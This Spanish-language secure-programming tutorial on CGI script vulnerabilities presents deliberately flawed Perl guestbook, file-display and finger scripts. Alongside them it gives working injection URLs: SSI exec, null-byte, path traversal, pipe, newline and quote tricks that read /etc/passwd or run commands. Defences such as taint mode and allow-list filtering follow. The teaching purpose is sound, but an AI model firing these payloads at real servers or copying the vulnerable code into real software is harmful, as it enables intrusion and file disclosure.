www.linuxdoc.org conocen sobre ssh : http://www.linuxdoc.org/cgi-bin/ldpsrch.cgi? svr=http%3A%2F%2Fwww.linuxdoc.org&srch=ssh&db=1&scope=0&rpt=20 De hecho, esto es mucho más simple de lo que parece. Vamos a analizar esta URL : ● ● ● el servidor es aún el mismo www.linuxdoc.org ; el archivo pedido, el script CGI, es llamado /cgi-bin/ldpsrch.cgi ; el carácter ? es el comienzo de una larga lista de argumentos : 1. srv=http%3A%2F%2Fwww.linuxdoc.org es el servidor de donde viene la petición; 2. srch=ssh contiene la petición en sí; 3. db=1 significa que la petición solo se refiere a HOWTOs; 4. scope=0 significa que la petición se refiere al contenido del documento y no solo a su título; 5. rpt=20 limita a 20 el número de respuestas visualizadas. Frecuentemente, los nombres de los argumentos y sus valores son suficientemente explícitos como para entender su significado. Además, el contenido de la página que muestra las respuestas puede ser significativas. Ahora sabemos que el lado brillante de los scripts CGI es la habilidad que tiene un usuario para pasar argumentos... pero el lado oscuro es que un script mal programado abre un agujero de seguridad. Probablemente habrás notado caracteres extraños en tu navegador o presentes dentro de la petición previa. Estos caracteres están en formato Unicode. La tabla 1 muestra el significado de algunos de estos códigos. Permíteme mencionar que algunos servidores IIS4.0 y IIS5.0 tienen una vulnerabilidad basada en estos caracteres. Configuración de Apache con "SSI Server Side Include" Server Side Include es una función parte de los servidores web. Permite integrar instrucciones dentro de las páginas web, incluir un fichero "tal y como es", o ejecutar un comando (shell o script CGI). En el fichero de configuración del Apache httpd.conf, la instrucción "AddHandler serverparsed .shtml" activa este mecanismo. Frecuentemente, para evitar la distinción entre .html and .shtml, uno puede añadir la extensión .html. Evidentemente, esto ralentiza el servidor... Esto puede ser controlado a nivel de directorios con las instrucciones: ● ● Options Includes activa todos los SSI ; OptionsIncludesNoExec prohibe exec cmd y exec cgi. En el script adjunto LibroDeInvitados.cgi, el texto proporcionado por el usuario es incluido en un archivo HTML, sin la conversión de caracteres de '<' y '>' hacia los códigos HTML &lt; and &gt; . Suficiente para que una persona curiosa envie una de las siguientes instrucciones : ● <!--#printenv --> (recuerda el espacio después de printenv ) ● <!--#exec cmd="cat /etc/passwd"--> Con el primero, LibroDeInvitados.cgi?email=pappy&texte=%3c%21--%23printenv%20--%3e obtienes algunas líneas de información sobre el sistema : DOCUMENT_ROOT=/home/web/sites/www8080 HTTP_ACCEPT=image/gif, image/jpeg, image/pjpeg, image/png, */* HTTP_ACCEPT_CHARSET=iso-8859-1,*,utf-8 HTTP_ACCEPT_ENCODING=gzip HTTP_ACCEPT_LANGUAGE=en, fr HTTP_CONNECTION=Keep-Alive HTTP_HOST=www.esiea.fr:8080 HTTP_PRAGMA=no-cache HTTP_REFERER=http://www.esiea.fr:8080/~grenier/cgi/LibroDeInvitados.cgi? email=&texte=%3C%21--%23include+file%3D%22LibroDeInvitados.cgi%22--%3E HTTP_USER_AGENT=Mozilla/4.76 [fr] (X11; U; Linux 2.2.16 i686) PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin REMOTE_ADDR=194.57.201.103 REMOTE_HOST=nef.esiea.fr REMOTE_PORT=3672 SCRIPT_FILENAME=/mnt/c/nef/grenier/public_html/cgi/LibroDeInvitados.html SERVER_ADDR=194.57.201.103 [email protected] SERVER_NAME=www.esiea.fr SERVER_PORT=8080 SERVER_SIGNATURE=<ADDRESS>Apache/1.3.14 Server www.esiea.fr Port 8080</ADDRESS> SERVER_SOFTWARE=Apache/1.3.14 (Unix) (Red-Hat/Linux) PHP/3.0.18 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0 REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/~grenier/cgi/LibroDeInvitados.html SCRIPT_NAME=/~grenier/cgi/LibroDeInvitados.html DATE_LOCAL=Tuesday, 27-Feb-2001 15:33:56 CET DATE_GMT=Tuesday, 27-Feb-2001 14:33:56 GMT LAST_MODIFIED=Tuesday, 27-Feb-2001 15:28:05 CET DOCUMENT_URI=/~grenier/cgi/LibroDeInvitados.shtml DOCUMENT_PATH_INFO= USER_NAME=grenier DOCUMENT_NAME=LibroDeInvitados.html La instrucción exec, suministra casi lo mismo que una shell : LibroDeInvitados.cgi?email=ppy&texte=%3c%21-%23exec%20cmd="cat%20/etc/passwd"%20--%3e No intentes "<!--#include file="/etc/passwd"-->", el path es relativo al directorio donde puedes encontrar el fichero HTML y no puede contener "..". El fichero de Apache error_log , contendrá un mensaje indicando un intento de acceso a un fichero prohibido . El usuario podrá ver el mensaje [an error occurred while processing this directive] en la página HTML. SSI no es necesario frecuentemente y es mejor desactivarlo del servidor. Sin embargo, la causa del problema es la combinación entre la aplicación mal programada LibroDeInvitados y SSI. Scripts en Perl En esta sección, vamos a presentar los agujeros de seguridad relacionados con los scripts CGI escritos en Perl. Para hacerlo mas claro, no daremos todo el código sino solamente las partes requeridas para entender el problema. Cada uno de nuestros scripts está programado siguiendo la plantilla siguiente : #!/usr/bin/perl -wT BEGIN { $ENV{PATH} = '/usr/bin:/bin' } delete @ENV{qw(IFS CDPATH ENV BASH_ENV)}; # Hacemos %ENV más segura =:-) print "Content-type: text/html\n\n"; print "<HTML>\n<HEAD>"; print "<TITLE>Comando remoto</TITLE></HEAD>\n"; &ReadParse(\%input); # Podemos usar $input por ejemplo así: # print "<p>$input{archivo}</p>\n"; # ########################################## # # Principio de la descripción del problema # # ########################################## # # #################################### # # Fin de la descripción del problema # # #################################### # form: print "<form action=\"$ENV{ÑOMBRE_DEL_SCRIPT'}\">\n"; print "<input type=texto name=archivo>\n </form>\n"; print "</BODY>\n"; print "</HTML>\n"; exit(0); # el primer argumento tiene que ser una referencia a un hash # El hash será rellenado con datos. sub ReadParse($) { my $in=shift; my ($i, $key, $val); my $in_primero; my @in_segundo; # Leer en texto if ($ENV{'REQUEST_METHOD'} eq "GET") { $in_first = $ENV{'QUERY_STRING'}; } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { read(STDIN,$in_primero,$ENV{'CONTENT_LENGTH'}); }else{ die "ERROR: Método de petición desconocido\n"; } @in_segundo = split(/&/,$in_primero); foreach $i (0 .. $#in_segundo) { # Convertir los caracteres + en espacios $in_segundo[$i] =~ s/\+/ /g; # Partir entre la clave y el valor. ($key, $val) = split(/=/,$in_segundo[$i],2); # Convertir %XX de números hexadecimales a alfanuméricos $key =~ s/%(..)/pack("c",hex($1))/ge; $val =~ s/%(..)/pack("c",hex($1))/ge; # Asociar una clave con un valor # \0 es el separador múltiple $$in{$key} .= "\0" if (defined($$in{$key})); $$in{$key} .= $val; } return length($#in_segundo); } Después vamos a aprender más sobre los argumentos pasados al intérprete Perl (-wT). Empezamos limpiando las variables de entorno $ENV y $PATH y enviamos seguidamente la cabecera HTML (esto es parte del protocolo html implementado por el navegador cliente y el servidor. Aunque no podamos verlo desde el lado del cliente). La función ReadParse() lee los argumentos pasados al script. Esto puede hacerse más facilmente con módulos, pero así podemos ver el código entero. Ahora vamos a presentar algunos ejemplos. El byte null Perl considera cada carácter de la misma forma, cosa que difiere de las funciones en C, por ejemplo. En Perl, el carácter null al final de una cadena (string) es como cualquier otro. Qué implica eso ? Vamos a añadir el siguiente código a nuestro script para crear showhtml.cgi : # showhtml.cgi my $archivo= $input{archivo}.".html"; print "<BODY>Archivo : $archivo<BR>"; if (-e $archivo) { open(FILE,"$archivo") || goto form; print <FILE>; } La función ReadParse() obtiene el único argumento : el nombre del archivo a mostrar. Para prevenir que se pueda leer algo más que ficheros HTML, añadimos la extensión ".html" al final del nombre del fichero. Pero, recuerda, el carácter null es como cualquiera otro... De este modo, si nuestra petición es showhtml.cgi?archivo=%2Fetc%2Fpasswd%00 el archivo es llamado my $archivo = "/etc/passwd\0.html" y nuestros pasmados ojos estarán mirando algo que no parece HTML. Qué es lo que pasa ? El comando strace nos muestra como Perl abre un fichero: /tmp >>cat >open.pl << EOF > #!/usr/bin/perl > open(FILE, "/etc/passwd\0.html"); > EOF /tmp >>chmod 0700 open.pl /tmp >>strace ./open.pl 2>&1 | grep open execve("./open.pl", ["./open.pl"], [/* 24 vars */]) = 0 ... open("./open.pl", O_RDONLY) =3 read(3, "#!/usr/bin/perl\n\nopen(FILE, \"/et"..., 4096) = 51 open("/etc/passwd", O_RDONLY) =3 El último open() presentado por strace corresponde a la llamada de sistema escrita en C. Como podemos ver la extensión .html ha desaparecido, y esto nos permite abrir /etc/passwd. Este problema es solucionado con una expresión regular muy simple que borre todos los caracteres null: s/\0//g; Utilizando pipes (tuberías) Aquí tenemos un script sin protección alguna que muestra un archivo especificado del árbol de directorios /home/httpd/ : #pipe1.cgi my $archivo= "/home/httpd/".$input{archivo}; print "<BODY>File : $archivo<BR>"; open(FILE,"$archivo") || goto form; print <FILE>; No vayais a reíros con este ejemplo! He visto cosas parecidas en muchos scripts. El primer exploit es obvio : pipe1.cgi?archivo=..%2F..%2F..%2Fetc%2Fpasswd Suficiente para "subir" al árbol de directorios y acceder a cualquier fichero. Pero hay algo mucho más interesante : ejecutar el comando que tú escojas. En Perl, el comando open(FILE, "/bin/ls") abre el archivo binario "/bin/ls" ... pero open(FILE, "/bin/ls |") ejecuta dicho comando. Añadiendo un simple pipe | cambia la conducta de open(). Otro problema viene del hecho que la existencia del archivo no es testeada, esto nos permite ejecutar cualquier comando y además pasarle argumentos: pipe1.cgi?archivo=..%2F..%2F..%2Fbin%2Fcat%20%2fetc%2fpasswd%20| muestra el contenido del fichero de passwords. Testeando la existencia del archivo da menos libertad a open : #pipe2.cgi my $archivo= "/home/httpd/".$input{archivo}; print "<BODY>File : $archivo<BR>"; if (-e $archivo) { open(FILE,"$archivo") || goto form; print <FILE> } else { print "-e fallado: el fichero no existe\n"; } Aquí el ejemplo anterior ya no funciona. El test "-e" falla ya que no encuentra el archivo "../../../bin/cat /etc/passwd |". Vamos a probar el comando /bin/ls. Su conducta será la misma que antes. Eso es, si intentamos, por ejemplo de listar el contenido del directorio /etc , "-e" testea la existencia del fichero "../../../bin/ls /etc |", que no existe. Como no suministremos el nombre de un fichero "fantasma" no vamos a obtener nada interesante :( Sin embargo, aún hay alguna alternativa. El fichero /bin/ls existe (en la mayoría de los sistemas) y pasaría el chequeo, pero si open() es llamado con este nombre de archivo se mostraría el archivo binario, pero no se ejecutaría. Debemos buscar una solución para poner una tubería (pipe) '|' al final del nombre, pero que no sea testeado con "-e". Ya conocemos la solución : el byte null. Si enviamos "../../../bin/ls\0|" , el test de existencia pasa ya que solo considera "../../../bin/ls", pero open() puede ver el pipe y luego ejecuta el comando. Así que la URL que suministra el contenido del directorio actual es: pipe2.cgi?archivo=../../../bin/ls%00| Salto de línea El script finger.cgi ejecuta la instrucción finger en nuestra máquina : #finger.cgi print "<BODY>"; $login = $input{'login'}; $login =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g; print "Login $login<BR>\n"; print "Finger<BR>\n"; $CMD= "/usr/bin/finger $login|"; open(FILE,"$CMD") || goto form; print <FILE> Este script utiliza, como mínimo, una protección útil: tiene en cuenta algunos caracteres extraños para prevenir que sean interpretados por la shell poniendo un '\' delante. Así, el punto y coma es cambiado a "\;" por la expresión regular. Pero la lista no contiene todos los caracteres importantes. Entre otros, el salto de línea '\n'. En tu shell preferida puedes validar una instrucción pulsando la tecla RETURN o ENTER , que envía el carácter '\n'. En Perl, puedes hacer lo mismo. Ya hemos visto como la instrucción open() nos permite ejecutar un comando cuando la línea termina con un pipe '|'. Para simular este comportamiento es suficiente con añadir un salto de línea y una instrucción , después de enviar el login al comando finger : finger.cgi?login=kmaster%0Acat%20/etc/passwd Hay otros caracteres interesantes para ejecutar varias instrucciones en una sola línea: ● ● ; : acaba con la primera instrucción y va a ejecutar la próxima ; && : si la primera instrucción no falla (por ejemplo, devuelve un 0), la próxima va a ser ejecutada; ● || : si la primera instrucción falla (por ejemplo, devuelve un valor no null), luego la próxima es ejecutada. Estos no funcionan aquí ya que el script está protegido de ellos gracias a la expresión regular. Pero, vamos a buscar soluciones. La barra invertida y el punto y coma El script finger.cgi previo evita problemas con algunos caracteres extraños. Así, la URL <finger.cgi?login=kmaster;cat%20/etc/passwd no resulta ya que el punto y coma es evitado. Sin embargo, hay un carácter que no está protegido: la barra invertida '\'. Imaginemos por un momento un script que evite la ascensión en el árbol de directorios utilizando la expresión regular s/\.\.//g para desembarazarnos de "..". No importa! Las shells pueden manejar varios '/' a la vez (simplemente prueba cat ///etc//////passwd para quedar convencido). Por ejemplo, en el script anterior pipe2.cgi, la variable $fichero es inicializada con el prefijo "/home/httpd/". Parece que usando esta expresión regular sería suficiente para evitar la ascensión en el árbol de directorios. Evidentemente, esta expresión protege a "..", pero qué pasa si nosotros protegemos el carácter '.' ? Eso es, la expresión regular no concuerda si el nombre del fichero es .\./.\./etc/passwd. En realidad, esta cadena funciona bien con la llamada system() (o con ` ... `), pero falla con open() o el test "-e". Vamos atrás con el script finger.cgi. Utilizando el punto y coma la URL finger.cgi?login=kmaster;cat%20/etc/passwd no da el resultado esperado ya que el punto y coma es filtrado por la expresión regular. Eso es, la shell recibe la instrucción: /usr/bin/finger kmaster\;cat /etc/passwd Los siguientes errores son encontrados en los logs del servidor web : finger: kmaster;cat: no such user. finger: /etc/passwd: no such user. Estos mensajes son idénticos a los que obtendrías si lo escribieses en una shell. El problema viene del hecho que la shell considera el carácter protegido ';' como parte de la cadena "kmaster;cat" . Necesitamos separar las dos instrucciones, la primera para el script y la siguiente que queremos ejecutar. Debemos proteger ';' : <A HREF="finger.cgi?login=kmaster\;cat%20/etc/passwd"> finger.cgi?login=kmaster\;cat%20/etc/passwd</A>. La cadena "\; es cambiada en el script por "\\;", y luego, enviada a la shell. Éste lee lo siguiente : /usr/bin/finger kmaster\\;cat /etc/passwd La shell divide la cadena en dos: 1. /usr/bin/finger kmaster\ que probablemente fallará... no sufras por eso ;-) 2. cat /etc/passwd que mostrará el fichero de passwords. La solución es simple : el carácter barra invertida '\' también debe ser filtrado. Utilizando un carácter " no protegido A veces, el parámetro es "protegido" con comillas. Hemos cambiado ligeramente el script previo finger.cgi para proteger la variable $login. Sin embargo, si las comillas no son filtradas sera una consideración inútil. Suficiente con añadir una en nuestra petición. Así, la primera comilla " enviada, cierra la abierta por el script. Luego, escribes el comando, y la segunda comilla abriendo la última (que cerraría) del script. El script finger2.cgi ilustra la idea : #finger2.cgi print "<BODY>"; $login = $input{'login'}; $login =~ s/\0//g; $login =~ s/([<>\*\|`&\$!#\(\)\[\]\{\}:'\n])/\\$1/g; print "Login $login<BR>\n"; print "Finger<BR>\n"; #Nueva (in)eficiente super protección : $CMD= "/usr/bin/finger \"$login\"|"; open(FILE,"$CMD") || goto form; while(<FILE>) { print; } La URL que ejecutará el comando se convierte en : finger2.cgi?login=kmaster%22%3Bcat%20%2Fetc%2Fpasswd%3B%22 La shell recibe el comando /usr/bin/finger "$login";cat /etc/passwd"" y las comillas ya no serán un problema. Recuerda que si quieres proteger los parámetros de tu script con comillas, debes filtrarlos igual que la barra invertida o el punto y coma. Programando en Perl Opciones de Warning y tainting Cuando programemos en Perl es aconsejable la opción w o "use warnings;" (Perl 5.6.0 y siguientes) ya que nos informará sobre problemas potenciales como variables no inicializadas o expresiones/funciones obsoletas. La opción T (taint mode) proporciona mayor seguridad. Este modo activa varios tests. El más importante concierne a una posible corrupción (tainting) de las variables. Las variables pueden estar limpias o posiblemente corruptas. Los datos que provienen del exterior del programa son considerados corruptos hasta que no hayan sido limpiadas. Las variables que pueden ser corruptas no se pueden asignar a objetos que serán usados en el exterior del programa (llamadas a otros comandos de la shell). En taint mode, los argumentos de la línea de comandos, las variables de entorno, algunos resultados de llamadas de sistema (readdir(), readlink(), readdir(), ...) y los datos que provienen de archivos, son considerados sospechosos y por lo tanto son vigilados. Para limpiar una variable debes pasarla a través de una expresión regular. Evidentemente, utilizar .* es inútil. El objetivo es forzarte a tener en cuenta los argumentos proporcionados. Debemos intentar utilizar siempre una expresión regular lo más específica posible. No obstante, este modo no protege de todo: no se vigilan los argumentos pasados a system() o exec() como una lista de variables. Debemos ser muy cuidadosos cuando uno de nuestros scripts utilize estas funciones. Las instrucciones exec "sh", '-c', $arg; son consideradas como seguras, esté como esté $arg :( También es recomendado "use strict;" al principio de tus programas. Así forzamos la obligación de declarar todas las variables; algunas personas pueden encontrarlo molesto pero es obligatorio cuando utilizemos mod-perl. De este modo, tus scripts en Perl deben empezar así : #!/usr/bin/perl -wT use strict; use CGI; con Perl 5.6.0 : #!/usr/bin/perl -T use warnings; use strict; use CGI; La llamada open() Muchos programadores abren un fichero simplemente utilizando open(FILE,"$fichero") || .... Ya hemos visto los riesgos de este código. Para reducir este riesgo es suficiente con especificar el modo para abrirlo: ● ● open(FILE,"<$fichero") || ... para solo lectura; open(FILE,">$fichero") || ... para solo escritura En efecto, no abras tus ficheros de forma mal especificada. Antes de acceder a un fichero es recomendable chequear si éste existe. Esto no evita las condiciones de carrera presentadas en el artículo anterior, pero es útil respecto a algunos trucos como comandos con sus argumentos. if ( -e $fichero ) { ... } Desde la versión de Perl 5.6, hay una nueva sintaxis para la llamada open() : open(FILEHANDLE,MODO,LISTA). Con el modo '<' , el fichero se abre para lectura; con '>' , el fichero es truncado o creado si es necesario, y abierto para escritura. Hay un par de modos muy interesantes para la comunicación con otros procesos. Si el modo es '|-' o '-|', el argumento LISTA es interpretado como un comando y es respectivamente encontrado antes o después de la tubería. Antes de Perl 5.6 y open() con tres argumentos, algunas personas utilizaban el comando sysopen(). Filtrando la entrada Existen dos métodos : Podemos especificar los caracteres prohibidos, o definir explícitamente los carecteres permitidos utilizando expresiones regulares. Los programas de ejemplo te habrán convencido que es muy fácil olvidarse de filtrar caracteres que pueden ser potencialmente peligrosos, es por esta razón que el segundo método es recomendado. Prácticamente, lo que hacemos es lo siguiente : primero, chequeamos si la petición contiene sólo caracteres permitidos. Luego, filtramos los caracteres considerados como peligrosos entre los permitidos. #!/usr/bin/perl -wT # filtro.pl # # # # # Las variables $seguro y $peligroso definen respectivamente los caracteres sin riesgo y los arriesgados. Es suficiente con añadir/quitar algunos para cambiar el filtro. Solamente la entrada $input que contenga los caracteres incluídos en las definiciones es válida. use strict; my $input = shift; my $seguro = '\w\d'; my $peligroso = '&`\'\\|"*?~<>^(){}\$\n\r\[\]'; #Note: # '/', espacio y tab no son parte de las definiciones if ($input =~ m/^[$seguro$peligroso]+$/g) { $input =~ s/([$peligroso]+)/\\$1/g; } else { die "Hay caracteres no permitidos en la entrada $input\n"; } print "input = [$input]\n"; Este script define dos conjuntos de caracteres : ● ● $seguro contiene los caracteres no prohibidos (en este caso, sólo números y letras); $peligroso contiene los caracteres permitidos, pero que pueden ser potencialmente peligrosos; deberán ser filtrados. Cualquier petición que contenga un caracter que no esté presente en uno de los dos conjuntos deberá ser immediatamente descartado. Ejercicio: El programa LibroDeInvitados.cgi defectuoso #!/usr/bin/perl -w # LibroDeInvitados.cgi BEGIN { $ENV{PATH} = '/usr/bin:/bin' } delete @ENV{qw(IFS CDPATH ENV BASH_ENV)}; # Hacemos %ENV más seguro =:-) print "Content-type: text/html\n\n"; print "<HTML>\n<HEAD><TITLE>Libro De Visitas Peligroso </TITLE></HEAD>\n"; &ReadParse(\%input); my $email= $input{email}; my $texto= $input{texto}; $texto =~ s/\n/<BR>/g; print "<BODY><A HREF=\"LibroDeInvitados.html\"> GuestBook </A><BR><form action=\"$ENV{'SCRIPT_NAME'}\">\n Email: <input type=texto name=email><BR>\n Texte:<BR>\n<textarea name=\"texto\" rows=15 cols=70> </textarea><BR><input type=submit value=\"Adelante!\"> </form>\n"; print "</BODY>\n"; print "</HTML>"; open (FILE,">>LibroDeInvitados.html") || die ("No es posible la escritura\n"); print FILE "Email: $email<BR>\n"; print FILE "Texto: $texto<BR>\n"; print FILE "<HR>\n"; close(FILE); exit(0); sub ReadParse { my $in =shift; my ($i, $key, $val); my $in_first; my @in_second; # Read in text if ($ENV{'REQUEST_METHOD'} eq "GET") { $in_first = $ENV{'QUERY_STRING'}; } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { read(STDIN,$in_first,$ENV{'CONTENT_LENGTH'}); }else{ die "ERROR: Método de petición desconocido\n"; } @in_second = split(/&/,$in_first); foreach $i (0 .. $#in_second) { # Convertir los + en espacios $in_second[$i] =~ s/\+/ /g; # Dividir entre la clave y el valor. ($key, $val) = split(/=/,$in_second[$i],2); # Convertir los números hexadecimales %XX a alfanuméricos $key =~ s/%(..)/pack("c",hex($1))/ge; $val =~ s/%(..)/pack("c",hex($1))/ge; # Asociar una clave con su valor. $$in{$key} .= "\0" if (defined($$in{$key})); $$in{$key} .= $val; } return length($#in_second); } Scripts PHP No querría ser polémico pero creo que es mejor escribir scripts en PHP que no en Perl. Más exactamente, como administrador de sistemas, prefiero que mis usuarios escriban scripts con lenguaje PHP que no en Perl. Cualquiera que programe mal - o de forma insegura - en PHP puede dejar un agujero de seguridad igual de peligroso que en Perl. Si es así, porqué prefiero PHP? Pués porqué en este lenguaje puedes activar un Modo Seguro (Safe mode) cuando haya problemas de programación (safe_mode=on) o desactivar funciones peligrosas (disable_functions=...). Este modo impide acceder a ficheros que no sean propiedad del usuario, o cambiar variables de entorno sin que esté explícitamente permitido, ejecutar comandos, etc. Por defecto el banner de Apache nos informa sobre la versión de PHP que estamos usando. $ telnet localhost 80 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Tue, 03 Apr 2001 11:22:41 GMT Server: Apache/1.3.14 (Unix) (Red-Hat/Linux) mod_ssl/2.7.1 OpenSSL/0.9.5a PHP/4.0.4pl1 mod_perl/1.24 Connection: close Content-Type: text/html Connection closed by foreign host. Suficiente con escribir expose_PHP = Off en /etc/php.ini para esconder dicha información : Server: Apache/1.3.14 (Unix) (Red-Hat/Linux) mod_ssl/2.7.1 OpenSSL/0.9.5a mod_perl/1.24 El fichero /etc/php.ini (PHP4) o /etc/httpd/php3.ini tiene muchos parámetros que permiten hacer el sistema más robusto. Por ejemplo, la opción "magic_quotes_gpc" añade unas comillas en los argumentos recibidos por los métodos GET, POST y vía cookies; esto soluciona algunos problemas de seguridad que nos hemos encontrado con Perl. Conclusión Entre los contenidos de expuestos en este material, éste es probablemente el más fácil de entender. Nos enseña vulnerabilidades que pueden ser explotadas cada día en la web. Hay muchas otras, frecuentemente relacionadas con mala programación (por ejemplo, un script que envía correo electrónico, que coge como argumento el campo From:, proporciona un buen lugar para enviar spam (correo no deseado). Los ejemplos son muy numerosos. En seguida que hay un script en un sitio web, habrá como mínimo una persona que intentará usarlo de forma fraudulenta. Este artículo termina la serie sobre programación segura. Esperamos haberte mostrado los principales agujeros de seguridad presentes en muchas aplicaciones y que a partir de ahora tengas en cuenta el factor "seguridad" cuando diseñes y programes tus aplicaciones. Los problemas de seguridad son muchas veces olvidados debido al limitado propósito de la aplicación (uso interno, uso en una red privada, modelo temporal, etc.). Sin embargo, un módulo originariamente diseñado para un uso muy restringido puede convertirse en la base de una aplicación mucho mayor, y luego los cambios serán más caros. fuentes: http://linuxfocus.vlsm.org/Castellano/indexpage.html LinuxFocus Administración avanzada de GNU/Linux Josep Jorba Esteve Remo Suppi Boldrito Software libre XP04/90785/00019 UOC La universidad virtual Lucas. Comunidad Linux de México , 2003. http://lucas.linux.org.mx Red Hat 9 Security Guide , 2003. http://www.redhat.com/docs/manuals/linux/RHL-9- Manual/security-guide/ http://www.criptored.upm.es/guiateoria/gt_m001a.htm Libro Electrónico de Seguridad Informática y Criptografía Versión v 4.0 http://www.uv.es/~sto/charlas/SDA/ Seguridad en el desarrollo de aplicaciones Sue Berg et al. Glossary of Computer Security Terms. Technical Report NCSC-TG-004, National Computer Security Center, Octubre 1988. Bac86 Maurice J. Bach. The Design of the Unix Operating System. Prentice Hall, 1986. Bai97 Edward C. Bailey. Maximum RPM: Taking the Red Hat Package Manager to the limit. Red Hat Software, Inc., 1997 ........................ El programa de Introducción a la seguridad informática pretende proporcionar una visión general y completa de una disciplina tan compleja y multidisciplinar como la seguridad informática, a partir de la cual el estudiante puede profundizar en las áreas más próximas a su interés. Este curso pretende, en términos generales, describir la seguridad informática básicamente con relación a tres entornos distintos íntimamente vinculados: la seguridad del entorno, la seguridad de la red y la seguridad del sistema operativo. Asimismo, estos contenidos de carácter técnico se vincularán con la gestión de la seguridad y los aspectos legales, en continua evolución, relacionados con el uso de las nuevas tecnologías y los problemas suscitados por ellas. Además de una vertiente claramente teórica, el enfoque práctico hacia la seguridad informática también aparece en este curso mediante ejercicios de autoevaluación que permitirán al estudiante comprobar el grado de aprovechamiento del curso. Seguridad siempre fue de lo más importante para los administradores de sistemas. Sin embargo, con la "explosión" del Internet, el riesgo de intrusión se ha vuelto aún más alto. Según la estadística, si el número de usuarios conectados crece, el número de piratas sigue el mismo incremento. Por consecuencia, el desarrollo de software de seguridad ha crecido exponencialmente. Otra vez, gracias a la comunidad del software libre, puesto que nos han proporcionado las mejores herramientas nunca vistas y con mucha documentación